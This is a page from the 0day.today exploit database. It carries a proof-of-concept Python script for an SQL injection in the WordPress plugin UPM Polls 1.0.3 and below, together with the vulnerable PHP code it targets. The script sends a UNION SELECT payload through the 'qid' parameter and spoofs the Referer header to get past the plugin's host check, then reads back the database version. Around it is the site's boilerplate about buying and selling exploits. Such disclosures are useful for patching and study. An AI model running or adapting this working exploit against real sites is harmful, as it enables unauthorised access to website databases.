0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
UPM Polls <= 1.0.3 SQL Injection Vulnerability
# Exploit Title: UPM Polls <= 1.0.3 SQL Injection Vulnerability # Date: 2011-08-06 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip # Version: 1.0.3 (tested) --- PoC --- #!/bin/python import re import urllib2 import urlparse url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20") req = urllib2.Request(url=url, headers={"Referer": url}) content = urllib2.urlopen(req).read() match = re.search(r"`(.+)`", content) print match.group(1) if match else "None" --------------- Vulnerable code --------------- $ref = parse_url( $_SERVER['HTTP_REFERER'] ); if( $_SERVER["HTTP_HOST"] != $ref['host'] ){ exit('UPM Error:128'); } ... $QID = $_GET['qid']; $POLL = $wpdb->get_row("SELECT * FROM `".$wpdb->prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A); # 0day.today [2024-11-15] #